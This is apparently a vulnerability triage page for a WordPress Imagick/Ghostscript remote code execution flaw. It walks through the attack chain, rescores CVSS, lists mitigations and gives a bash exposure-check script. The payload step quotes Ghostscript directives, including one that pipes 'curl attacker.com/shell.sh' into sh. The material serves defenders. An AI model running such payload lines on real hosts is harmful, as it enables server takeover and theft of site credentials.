A PNG that runs code because your image library trusts Ghostscript more than your upload form trusts your authors
CVE-2026-65640 is an authenticated remote code execution vulnerability in WordPress core's image processing pipeline. When a server runs both the Imagick PHP extension and Ghostscript, an attacker with Author-level privileges (the upload_files capability) can upload a crafted PostScript file disguised with an image extension like .png. WordPress trusts the extension; ImageMagick inspects the actual bytes, detects PostScript content, and delegates processing to Ghostscript — which interprets embedded OS commands as the PHP worker process. This affects WordPress 4.7.0 through 7.0.3 across every release branch. WordPress 7.0.4 (released 2026-08-12) and backports down to 4.7.35 fix the issue by inspecting the first 1,445 bytes for PostScript signatures *before* handing anything to Imagick.
The vendor's HIGH 8.8 is defensible in the CVSS framework — PR:L/AC:L/UI:N with full CIA impact is a textbook 8.8. But CVSS has no knob for 'only fires when two specific server-side libraries are co-installed.' Many WordPress hosts use the GD library instead of Imagick (GD ships with PHP by default since 4.3). Of those that do run Imagick, a meaningful fraction lack Ghostscript entirely — managed WordPress hosts and container-based deployments routinely strip it. The environmental dependency is the single biggest gap between the CVSS label and field reality: the vulnerability is genuine and the impact is severe, but the *reachable* population is substantially smaller than 'all WordPress installs.' We downgrade the score from 8.8 to 7.2 while keeping the verdict at HIGH.
5 steps from start to impact.
Obtain Author-level credentials
upload_files capability — Author role or higher. This can come from a compromised author account (phishing, credential stuffing, session theft), a malicious insider on a multi-author publication, or a purchased account on a site that sells contributor access. Contributors and Subscribers cannot exploit this flaw.- Valid Author, Editor, or Administrator WordPress credentials on the target site
- Single-author blogs have no external Author accounts to compromise
- Many enterprises restrict Author role to a small trusted set
- MFA on WordPress admin (if deployed) raises the bar for credential theft
Craft malicious PostScript payload
exploit.png) whose content is valid PostScript embedding OS commands. Ghostscript's PostScript interpreter will execute directives like (%pipe%id) (r) file or (curl attacker.com/shell.sh | sh) == flush when it processes the file. The technique is well-documented from prior Ghostscript CVEs (CVE-2018-16509, CVE-2023-36664) and requires moderate skill to adapt.- Knowledge of Ghostscript PostScript exploitation techniques
- Ghostscript version on target accepts the chosen payload variant
- No public weaponized PoC for this specific CVE yet — attacker must adapt from prior Ghostscript research
- Payload must survive WordPress's pre-Imagick byte-sniffing on patched versions
Upload via media library or XML-RPC
/wp-admin/upload.php), via the XML-RPC wp.uploadFile method, or through MP3 cover-art extraction which also routes through the image pipeline. WordPress's wp_check_filetype_and_ext() validates the file extension and MIME type — both of which the attacker controls by naming the file .png and embedding a valid PNG header. The file passes validation and is stored in wp-content/uploads/.- Network access to WordPress admin or XML-RPC endpoint
- Author-level session cookie or XML-RPC credentials
- XML-RPC is disabled by default in many hardened deployments and security plugins
- Some WAFs rate-limit or block XML-RPC entirely
- Upload size limits rarely matter (PostScript payloads are small)
Imagick processes the uploaded file
- PHP Imagick extension is loaded and is the active WordPress image editor (default when available)
- Ghostscript is installed and registered as an ImageMagick delegate
- Hosts using GD library instead of Imagick are completely immune
- Container-based WordPress deployments often lack Ghostscript
- Some managed WordPress hosts (WP Engine, Kinsta, Flywheel) run stripped image stacks
Ghostscript executes embedded commands
www-data or nginx). From here, they can read wp-config.php (database credentials, auth salts, secret keys), install a web shell, pivot to the database, or move laterally if the server has network access to other hosts.- Ghostscript processes the PostScript without sandbox restrictions blocking the payload
- Modern Ghostscript versions (10.x+) have improved -dSAFER sandboxing that may block some payload variants
- Containerized deployments with read-only filesystems limit persistence
- Properly segmented networks limit lateral movement from a compromised web server
add_filter('wp_image_editors', function() { return ['WP_Image_Editor_GD']; }); to a must-use plugin (wp-content/mu-plugins/force-gd.php). This tells WordPress to skip Imagick entirely, completely severing the Imagick→Ghostscript delegation chain. GD cannot process PostScript. Deploy within 30 days per noisgate mitigation SLA for HIGH. This is the fastest compensating control if patching is delayed.apt remove ghostscript (Debian/Ubuntu), yum remove ghostscript (RHEL/CentOS), or equivalent. Without Ghostscript, Imagick has no delegate for PostScript formats — the chain breaks at step 4. Verify with gs --version returning command-not-found. Deploy within 30 days per noisgate mitigation SLA. Note: this may break PDF thumbnail generation if other applications depend on Ghostscript.remove_cap('author', 'upload_files')) to strip the upload capability from Author accounts. This blocks the entry point entirely — no uploads, no exploitation. Review which accounts genuinely need upload access. Deploy within 30 days. Caution: this changes Author workflow and may require an Editor to handle media uploads.add_filter('auto_update_core', '__return_true');.- WAF / ModSecurity rules — The malicious file uses a legitimate
.pngextension and is uploaded through standard WordPress endpoints (/wp-admin/async-upload.phpor XML-RPC). The PostScript payload is inside the file body, not in HTTP parameters. Most WAFs do not deep-inspect uploaded file contents for PostScript signatures. - File extension filtering / upload MIME restrictions — The exploit deliberately uses image file extensions (
.png,.jpg). WordPress's ownwp_check_filetype_and_ext()passes the file because the extension and MIME type match. The vulnerability exists precisely because extension-based validation is insufficient. - Disabling XML-RPC alone — While XML-RPC's
wp.uploadFileis one attack vector, the standard WordPress media uploader and MP3 cover-art extraction are also valid vectors. Disabling XML-RPC reduces surface area but does not close the vulnerability.
The supporting signals.
| In-the-Wild Exploitation | No confirmed exploitation. Not on CISA KEV. Feedly threat intel references BLACKCOFFEE malware (associated with APT17/DeputyDog) as having reportedly weaponized this CVE, but no primary source confirms active campaigns. Treat as unverified signal. |
|---|---|
| Proof-of-Concept | One GitHub repo: jobusa755-a11y/CVE-2026-65640- — 0 stars, published 2026-08-13. No working exploit confirmed in contents. No Nuclei templates, ExploitDB entries, or Metasploit modules indexed on pocindex.io. Prior Ghostscript PostScript RCE techniques (CVE-2018-16509, CVE-2023-36664) are well-documented and adaptable. |
| EPSS | 1.94% probability of exploitation in next 30 days. This places it roughly in the top 5% of all scored CVEs — elevated but not extreme. |
| CISA KEV | Not listed as of 2026-10-07. |
| CVSS Vector | CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — Network-reachable, low complexity, low privilege (Author), no user interaction, full CIA impact. The vector fairly captures the post-auth, post-environment-match scenario but cannot encode the Imagick+Ghostscript environmental prerequisite. |
| Affected Versions | WordPress 4.7.0 through 7.0.3 across all release branches. |
| Fixed Versions | WordPress 7.0.4, 6.9.7, 6.8.8, 6.7.7, and corresponding backports down to 4.7.35. Debian issued DSA-6525-1 on 2026-09-28. |
| Scanner Coverage | Qualys QID 154188 (2026-08-17), Nessus plugin 338623 (2026-08-21). No GreyNoise or Shodan scanning activity specific to this CVE identified as of assessment date. |
| Disclosure Timeline | WordPress 7.0.4 released 2026-08-12. CVE published by NVD 2026-08-17. Debian DSA-6525-1 issued 2026-09-28. |
| Researcher | Discovered and responsibly disclosed by the pwn.ai team. GitHub Security Advisory GHSA-8vr3-7mxf-gx8w. |
Sources.
- GitHub Security Advisory GHSA-8vr3-7mxf-gx8w
- SecurityOnline — WordPress 7.0.4 RCE Fix
- Penligent — CVE-2026-65640 Technical Analysis
- Falcon Internet — When an Image Upload Becomes a Shell
- Wordify — WordPress 7.0.4: Two Things Must Be True
- TheCyberSecGuru — WordPress Imagick RCE via Malicious PNG
- pocindex.io — CVE-2026-65640
- Feedly CVE Intelligence — CVE-2026-65640
Why this verdict
- Environmental prerequisite not captured by CVSS: The exploit fires only when both Imagick AND Ghostscript are installed and active. WordPress defaults to Imagick when available, but many hosts use GD (bundled with PHP since 4.3). Of those running Imagick, managed and containerized WordPress stacks frequently strip Ghostscript. Conservative estimate: 30–50% of WordPress installs meet both conditions. This is a material population narrowing that CVSS 3.0 cannot express, warranting a ~1.0 point reduction.
- Authentication requirement is real friction: PR:L (Author role) means the attacker must already hold a valid account with upload capability. Single-author blogs are immune to external attack via this path. Multi-author publications, news sites, membership platforms, and sites with lax account hygiene expand the surface — but this is not an unauthenticated bug. Reduction: ~0.3 points.
- No confirmed exploitation, low PoC maturity: Zero confirmed ITW exploitation, not on KEV, one zero-star GitHub repo with unverified contents, no Metasploit/Nuclei coverage. EPSS at 1.94% is elevated but reflects theoretical risk more than operational reality. The BLACKCOFFEE/APT17 signal is unconfirmed. Reduction: ~0.3 points.
- Role multiplier: WordPress is a web CMS, not a canonically high-value-role component (not an IdP, hypervisor, CA, PAM, backup system, network edge appliance, or kernel-mode agent). However, WordPress powers ~40% of the web and occupies roles ranging from personal blogs (low-value) to enterprise portals, e-commerce platforms with payment data (WooCommerce), government websites, and news organizations (high-value). In the high-value role, a successful chain yields: RCE as web server user →
wp-config.php(DB creds, auth keys) → full database access (PII, payment tokens, user credentials) → web shell persistence → potential lateral movement to co-hosted services. Blast radius is server-to-tenant scale, not domain/fleet/supply-chain. This is serious but bounded. The floor is HIGH because WordPress e-commerce and enterprise sites represent well over 1% of the installed base and the chain delivers full server compromise in those roles. - Net assessment: Vendor 8.8 → noisgate 7.2 (HIGH). The 1.6-point reduction reflects the environmental narrowing and current threat landscape. The verdict stays HIGH because when the prerequisites are met, exploitation is trivial and the impact is full RCE on a platform that frequently holds sensitive data.
Why not higher?
CRITICAL would require either a canonically high-value-role component (WordPress is a web CMS, not infrastructure) or an unauthenticated/zero-click attack path. This vulnerability requires valid Author-level credentials AND a specific server-side library combination. The blast radius is server/tenant-level, not domain/fleet/supply-chain. Even the BLACKCOFFEE signal, if confirmed, would not push past HIGH absent evidence of widespread exploitation.
Why not lower?
WordPress powers roughly 40% of the web — the installed base is enormous. Even with environmental narrowing, the absolute number of vulnerable hosts is large. The impact upon successful exploitation is full RCE: database access, credential theft, web shell deployment, and potential lateral movement. Multi-author sites, WooCommerce stores, and enterprise portals represent a meaningful fraction of WordPress deployments where Author accounts exist and the Imagick+Ghostscript stack is common. Prior Ghostscript exploitation techniques are well-documented, lowering the barrier for skilled attackers to develop working exploits.
Crowdsourced verification payload.
Run this script on each WordPress host as a user with read access to the WordPress installation directory. Invoke with: sudo bash check_cve_2026_65640.sh /var/www/html (pass the WordPress root path as the first argument). Requires read access to wp-includes/version.php and the ability to run php -m and gs --version.
#!/usr/bin/env bash
# check_cve_2026_65640.sh — Detect CVE-2026-65640 exposure
# Usage: bash check_cve_2026_65640.sh /path/to/wordpress
# Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN
set -euo pipefail
WP_ROOT="${1:-/var/www/html}"
VERSION_FILE="$WP_ROOT/wp-includes/version.php"
VULNERABLE=0
IMAGICK=0
GHOSTSCRIPT=0
# --- Check WordPress version ---
if [[ ! -f "$VERSION_FILE" ]]; then
echo "UNKNOWN — Cannot find $VERSION_FILE. Is this a WordPress installation?"
exit 2
fi
WP_VERSION=$(grep -oP "\\\$wp_version\s*=\s*'\K[^']+" "$VERSION_FILE" 2>/dev/null || true)
if [[ -z "$WP_VERSION" ]]; then
echo "UNKNOWN — Could not parse WordPress version from $VERSION_FILE"
exit 2
fi
echo "[*] WordPress version: $WP_VERSION"
# Known patched versions (major.minor.patch)
declare -A PATCHED_VERSIONS=(
["7.0"]=4 ["6.9"]=7 ["6.8"]=8 ["6.7"]=7
["6.6"]=9 ["6.5"]=12 ["6.4"]=10 ["6.3"]=10
["6.2"]=10 ["6.1"]=12 ["6.0"]=14 ["5.9"]=14
["5.8"]=14 ["5.7"]=14 ["5.6"]=16 ["5.5"]=18
["5.4"]=18 ["5.3"]=20 ["5.2"]=23 ["5.1"]=21
["5.0"]=22 ["4.9"]=27 ["4.8"]=26 ["4.7"]=35
)
MAJOR_MINOR=$(echo "$WP_VERSION" | grep -oP '^\d+\.\d+')
PATCH=$(echo "$WP_VERSION" | grep -oP '\d+$')
if [[ -n "${PATCHED_VERSIONS[$MAJOR_MINOR]+x}" ]]; then
NEEDED="${PATCHED_VERSIONS[$MAJOR_MINOR]}"
if (( PATCH < NEEDED )); then
echo "[!] WordPress $WP_VERSION is BELOW patched version $MAJOR_MINOR.$NEEDED"
VULNERABLE=1
else
echo "[+] WordPress $WP_VERSION is at or above patched version $MAJOR_MINOR.$NEEDED"
fi
else
# Version newer than 7.0 or older than 4.7
if [[ $(echo -e "7.0.4\n$WP_VERSION" | sort -V | head -1) == "7.0.4" ]]; then
echo "[+] WordPress $WP_VERSION is newer than 7.0.4"
else
echo "[!] WordPress $WP_VERSION may be outside supported patch range"
VULNERABLE=1
fi
fi
# --- Check Imagick ---
if php -m 2>/dev/null | grep -qi imagick; then
echo "[!] PHP Imagick extension is LOADED"
IMAGICK=1
else
echo "[+] PHP Imagick extension is NOT loaded (GD likely in use)"
fi
# --- Check Ghostscript ---
if command -v gs &>/dev/null; then
GS_VER=$(gs --version 2>/dev/null || echo "unknown")
echo "[!] Ghostscript is INSTALLED (version: $GS_VER)"
GHOSTSCRIPT=1
else
echo "[+] Ghostscript is NOT installed"
fi
# --- Verdict ---
echo ""
if (( VULNERABLE == 1 && IMAGICK == 1 && GHOSTSCRIPT == 1 )); then
echo "VULNERABLE — WordPress $WP_VERSION with Imagick + Ghostscript. All CVE-2026-65640 prerequisites met."
exit 1
elif (( VULNERABLE == 1 )); then
if (( IMAGICK == 0 || GHOSTSCRIPT == 0 )); then
echo "PATCHED (effectively) — WordPress $WP_VERSION is unpatched but missing Imagick and/or Ghostscript. Not currently exploitable."
exit 0
fi
else
echo "PATCHED — WordPress $WP_VERSION is at or above the fixed version."
exit 0
fi